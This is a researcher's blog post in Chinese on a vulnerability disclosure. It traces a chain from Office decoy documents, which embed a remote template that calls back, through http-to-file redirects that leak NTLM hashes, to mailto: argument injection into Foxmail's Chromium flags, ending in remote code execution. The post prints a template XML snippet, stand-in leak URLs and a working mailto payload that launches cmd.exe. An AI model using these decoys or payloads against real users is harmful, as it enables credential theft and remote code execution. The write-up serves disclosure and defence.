从Office诱饵到鸡肋RCE
2023-5-23 12:16:20 Author: blog.xlab.app(查看原文) 阅读量:70 收藏

21年5月在研究Office诱饵时挖掘出新的攻击链路,年末在公司内部分享时整理出本文

今天收到Bugzilla的邮件,想起这篇稿子,居然刚好2年了,真·回忆录

摘要

  1. 介绍Office文件诱饵及原理
  2. Office的类SSRF漏洞
  3. Windows URI scheme协议漏洞
  4. 构造RCE利用链
  5. 扩大攻击面
  6. 漏洞修复与防御
  7. 后续可探索方向

Office文件诱饵

制作Office文件,能够在文件被打开的时候收到告警

有一些实现思路

  1. 嵌入远程资源

嵌入远程资源是一个比较常见的公开技术

Office文件本质上是一个压缩包,直接解压就能看到内部的文件结构

以Word为例

word\_rels\settings.xml.rels中嵌入

1
2
3
4
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="<这里填远程资源地址>" TargetMode="External"/>
</Relationships>

除了可以嵌入http资源,在Windows中还可以通过URC路径和file协议获取NTLM,例如

1
2
3
http://x.x.x.x/leak
file://x.x.x.x/leak
\\x.x.x.x\leak

UNC参考 https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/

file协议参考 https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/

在macOS版本的Office中只支持http资源

如果嵌入http资源,只能获取到IP,ua等信息,但兼容Windows和macOS

如果嵌入unc或者file协议,能获取除了IP,还有主机名,ntlm等信息,但macOS不兼容

如果我全都要,那得嵌入两个资源?

神秘的重定向

从某种角度来说,这个漏洞算是类SSRF,SSRF就很容易想到:重定向,跨协议重定向,DNS重绑定…

测试发现Office在请求http资源的时候是支持重定向的,而且支持跨协议的重定向,也就是说能从http重定向到file协议(当然unc也可以)

再结合通过http请求中ua获取的客户端信息,如果是Windows机器就重定向到file协议获取NTLM Hash,如果不是就不重定向

完美

Office似乎是有一个支持重定向的http client

那它会解析html,会执行js吗?

各种尝试之后发现有以下特性

  1. 支持http重定向
  2. 支持cookie
  3. 支持file协议
  4. 支持UNC路径
  5. 不解析html/js

URI scheme

仔细研究之后发现Office似乎是调用了IE组件实现的(应该是urlmon.dllmshtml.dll吧)

也就说这个组件支持的协议,都可以利用

漏洞升级:任意http请求->任意重定向->调用URI scheme

发现URI scheme上出过不少问题,个个rce,学习一波

GitHub Desktop https://blog.xpnsec.com/github-desktop-rce/

Origin https://zero.lol/posts/2019-05-22-fun-with-uri-handlers/

Office https://www.zerodayinitiative.com/blog/2019/9/24/cve-2019-0801-microsoft-office-uri-hyperlink-hijinks

Edge https://leucosite.com/Microsoft-Edge-RCE/

mIRC https://proofofcalc.com/cve-2019-6453-mIRC/

Electron https://paper.seebug.org/719/ (推荐)

Electron https://xz.aliyun.com/t/1994 (推荐)

iOS https://paper.seebug.org/1659/

由于这里是调用URI scheme,需要一个支持URI scheme的程序作为受害者,通过传递恶意的url参数进行攻击

这里考虑两种攻击路径

  1. 利用字符逃逸注入命令行参数

依赖Office(或者说IE组件)对命令行参数的编码情况

在Windows使用自定义协议启动程序时有两种基本形式

1
2
"C:\a.exe" "%1"
"C:\a.exe" %1

大部分程序都是使用第一个,也就是需要逃逸"字符,闭合前面的"才能进行参数注入

而有一些程序使用的是第二个,此时只需要逃逸空格就可以实现参数注入

比如有程序有-exec参数可以执行命令,可以通过字符逃逸注入-exec参数实现执行命令

  1. 无法注入命令行参数,只能对参数本身进行注入

这依赖程序自身对参数的解析,以及参数实现的功能

基本不用考虑编码逃逸的问题,只需要找到一个可利用的程序参数即可(这样的参数可能比较少,尤其是会暴露给URI scheme的情况)

比如有程序有参数-c,程序内部对-c参数实现功能时存在命令拼接

漏洞挖掘

我主要关注第一种攻击路径,在测试一大堆协议之后,发现可以在处理mailto:协议时没有对"进行编码,也没有对空格编码,非常方便进行攻击

payload直接带入命令行参数,实现任意命令行参数注入

以foxmail为例

漏洞利用

mailto协议主要就是攻击邮件客户端,尝试了以下客户端

  1. UWP Mail
  2. Outlook
  3. Foxmail
  4. Thunderbird

Windows 的UWP Mail调用mailto协议处理有些不同,无法插入命令行参数

Outlook和Thunderbird没有找到合适的参数用于执行命令

Foxmail基于Chromium内核开发,Chromium的参数众多,作为后面的主要攻击目标

同时Foxmail没有对传入参数做任何处理,所有Chromium的参数都可以利用,比如

结合前面的Office文件诱饵,在非保护模式下,打开文档即可一键RCE

鸡肋:这需要攻击者安装Foxmail,而且Foxmail有窗口,导致漏洞利用非常明显

尝试开发无弹窗利用,找了很多Chrome参数都不行

https://peter.sh/experiments/chromium-command-line-switches

扩大攻击面

masOS

在早些时候(2021年5月),macOS上的Office也支持调用URI scheme,可以打开mail.app

但现在不行了,不知道是什么时候修了

当时也没有过多探索,现在也探索不了了…

IE

前面提到Office是调用IE组件实现的,那么IE也当然受影响

利用a标签嵌入在页面中即可

但是在IE中点击链接时会弹窗提示,将打开Foxmail

浏览器

既然IE受影响,当然看看其他的浏览器

Firefox没有对空格编码,使用%1程序存在被注入可能

由于Foxmail正是使用%1,上面的利用对Firefox也有效

Edge:编码
Chrome:编码

pdf

pdf中也可以嵌入mailto链接

Edge:编码
Chrome:编码
Adobe:编码

Word

在Word里也可以嵌入mailto链接

测试会编码

漏洞修复

Foxmail(腾讯)

忽略,认为是浏览器的bug,foxmail后续可能会考虑对参数限制

并获得20个安全币…

后来看foxmail更新了,发现只是禁用了--gpu-launcher参数

当然Chromium的参数非常多,随意RCE,也懒得再去提foxmail的漏洞

1
mailto:? --renderer-cmd-prefix="cmd.exe /c start calc"

对于Chromium来说,对参数进行限制有最佳实践,Chrome浏览器在处理http协议时是这样的

1
"C:\Program Files\Google\Chrome\Application\chrome.exe" --single-argument %1

Office/IE

经过反复扯皮,微软确认是一个Low severity Security Feature Bypass,但可能不会修,因为

对于Office

  1. 无法绕过保护模式

对于IE

  1. 在IE点击是会弹窗提示打开邮件客户度,而且默认选择是“取消”
  2. 漏洞依赖邮件客户端特性

说如果有outlook的利用(即使有提示),或者其他客户端无提示利用,会考虑提高漏洞等级

我没有说过微软修复,于是这个漏洞就不了了之了

Firefox

报告时说是一个已知漏洞,从bugid上看,数字比较小,估计有些年头了

https://bugzilla.mozilla.org/show_bug.cgi?id=1696685

目前在94版本(2021.11.2发布)修复了

展望

  1. 挖掘outlook利用,将漏洞等级提高

  2. IE组件支持的协议很多,可以挖掘其他协议的漏洞

比如its,mk,res等冷门协议(因为不知道这些协议是干啥的,也没找到相关资料,就没多看)

找到只依赖系统组件就能处理的协议,结合Office利用,RCE就不再鸡肋了

  1. 这些IE组件有没有被其他程序使用,是否也可以利用

  2. 挖掘老版本macOS利用(似乎意义不大?)

2023.5 更新

翻到Firefox给分配了CVE:CVE-2021-43541

也看到了一些新的相关攻击案例

2021.12 Positive Security挖了 ms-officecmd协议的漏洞,也是有点和微软扯皮

https://positive.security/blog/ms-officecmd-rce

2022.6 著名的Follina漏洞,利用ms-msdt协议漏洞进行攻击,实现Office RCE,和本文非常相似,但我是挖不到ms-msdt协议漏洞

https://paper.seebug.org/1911/

可能是上个月吧,不知道咋翻到一个古老的blackhat议题 URI Use and Abuse

https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf

https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf

找上面的pdf时又翻到了一个hitb的议题 A"ack Surface Extended by URL Schemes

https://conference.hitb.org/hitbsecconf2017ams/materials/D2T2%20-%20Yu%20Hong%20-%20Attack%20Surface%20Extended%20by%20URL%20Schemes.pdf


文章来源: https://blog.xlab.app/p/8fbece25/
如有侵权请联系:admin#unsafe.sh